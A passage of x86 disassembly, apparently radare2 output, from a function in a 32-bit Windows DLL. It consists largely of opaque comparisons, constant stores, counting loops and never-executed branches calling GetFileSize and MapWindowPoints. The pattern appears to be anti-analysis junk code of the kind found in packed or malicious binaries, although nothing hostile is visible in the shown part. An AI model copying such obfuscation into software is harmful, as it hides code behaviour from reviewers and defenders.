mov dword [ebp + eax - 0xacc], ecx
mov eax, dword [ebp - 0x174]
add eax, dword [ebp - 0x2a0]
cmp eax, dword [ebp - 0x174]
jne 0x1000d66c
mov dword [ebp - 0x534], 1
jmp 0x1000d673
and dword [ebp - 0x534], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x534], eax
jne 0x1000d68d
mov dword [ebp - 0x6fc], 1
jmp 0x1000d694
and dword [ebp - 0x6fc], 0
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x53c], 0x4255ebda
jle 0x1000d6b8
mov dword [ebp - 0x920], 1
jmp 0x1000d6bf
and dword [ebp - 0x920], 0
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0xf30], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xacc]
add eax, dword [ebp - 0x114]
cmp eax, 0xffffffff
ja 0x1000d6ef
mov dword [ebp - 0x2e0], 1
jmp 0x1000d6f6
and dword [ebp - 0x2e0], 0
push 0
lea ecx, [ebp - 0xca4]
call fcn.10017853
mov ecx, dword [ebp - 0x2e0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
cmp eax, dword [ebp - 0x2e0]
jge 0x1000d725
mov dword [ebp - 0x850], 1
jmp 0x1000d72c
and dword [ebp - 0x850], 0
imul eax, dword [ebp - 0x850], 3
add eax, 0x73598422
mov dword [ebp - 0x114], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov eax, dword [ebp + eax - 0xacc]
mov dword [ebp + ecx - 0xacc], eax
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xca4]
call fcn.1001784e
mov dword [ebp - 0x938], 0xac691c6c
mov dword [ebp - 0x1f8], 1
mov dword [ebp - 0xf38], 0xffffffff
mov dword [ebp - 0xf40], 0xfffffffb
mov dword [ebp - 0xf48], 0x69576881
mov dword [ebp - 0xf70], 9
mov dword [ebp - 0xf6c], 9
mov dword [ebp - 0xf68], 9
mov dword [ebp - 0xf64], 9
mov dword [ebp - 0xf78], 0x9b46
mov dword [ebp - 0x1f8], 0xfffffff0
jmp 0x1000d7e4
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 8
jl 0x1000d91d
mov dword [ebp - 0x220], 0xa12b57e8
mov dword [ebp - 0xf80], 1
mov dword [ebp - 0xf88], 0xb64b5c6f
mov dword [ebp - 0xf90], 0xfffffffd
mov dword [ebp - 0xf98], 0xa75a592c
mov dword [ebp - 0xfa0], 0xbae0fc36
mov dword [ebp - 0xfa8], 0x678e045d
mov dword [ebp - 0xf44], 0xffffffff
mov dword [ebp - 0x220], 0xffffffed
jmp 0x1000d85a
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0xfffffff4
jl 0x1000d918
mov dword [ebp - 0xf60], 0x2c9cc141
mov dword [ebp - 0xd28], 0xfa5f9c71
mov dword [ebp - 0xe50], 0x3f0d3ecf
push 2
lea ecx, [ebp - 0xeac]
call fcn.100177e6
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x544], 0xb7e2
mov dword [ebp - 0x200], 0
jmp 0x1000d8b9
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 2
jge 0x1000d8db
push dword [ebp - 0x200]
lea ecx, [ebp - 0xeac]
call fcn.10017853
mov dword [eax], 0xfffffff8
jmp 0x1000d8ac
mov eax, dword [ebp - 0x544]
dec eax
mov dword [ebp - 0x544], eax
mov byte [ebp - 0x13c], 0
movzx eax, byte [ebp - 0x13c]
test eax, eax
je 0x1000d904
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xeac]
call fcn.1001784e
jmp 0x1000d84d
jmp 0x1000d7d7
mov dword [ebp - 0x94], 0
jmp 0x1000d936
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 3
jge 0x1000d958
push dword [ebp - 0x94]
lea ecx, [ebp - 0x8b4]
call fcn.10017853
mov dword [eax], 0xd5feaf86
jmp 0x1000d929
push 1
lea ecx, [ebp - 0x8ec]
call fcn.100177e6
mov byte [ebp - 4], 0x16
mov dword [ebp - 0x8c], 0
jmp 0x1000d982
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 4
jge 0x1000d99e
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x103c], 0xdc85
jmp 0x1000d975
mov dword [ebp - 0x8c], 0
jmp 0x1000d9b7
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 1
jge 0x1000d9d9
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x8ec]
call fcn.10017853
mov dword [eax], 0xe76f5020
jmp 0x1000d9aa
push 0
lea ecx, [ebp - 0x8ec]
call fcn.10017853
mov dword [eax], 3
jmp 0x1000da12
push 0
lea ecx, [ebp - 0x8ec]
call fcn.10017853
mov dword [ebp - 0x704], eax
mov eax, dword [ebp - 0x704]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x704]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x8ec]
call fcn.10017853
cmp dword [eax], 0
jl 0x1000da6e
push 0
lea ecx, [ebp - 0x8ec]
call fcn.10017853
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x103c], 0
je 0x1000da3f
jmp 0x1000da6e
mov byte [ebp - 0x132], 0
movzx eax, byte [ebp - 0x132]
test eax, eax
je 0x1000da6c
push 0x2131
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
jmp 0x1000d9ee
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x8ec]
call fcn.1001784e
mov dword [ebp - 0x94], 0
jmp 0x1000da96
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 3
jge 0x1000dab2
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0xfe4], 0xdb06862e
jmp 0x1000da89
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0xd30], eax
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x80], eax
jge 0x1000dacf
mov dword [ebp - 0x54c], 1
jmp 0x1000dad6
and dword [ebp - 0x54c], 0
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x54c]
jge 0x1000daed
mov dword [ebp - 0xa50], 1
jmp 0x1000daf4
and dword [ebp - 0xa50], 0
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0xf8c], eax
mov eax, 0xf5d870a3
test eax, eax
jb 0x1000db12
mov dword [ebp - 0x7e4], 1
jmp 0x1000db19
and dword [ebp - 0x7e4], 0
cmp dword [ebp - 0x7e4], 0x2a3b3f36
jg 0x1000db31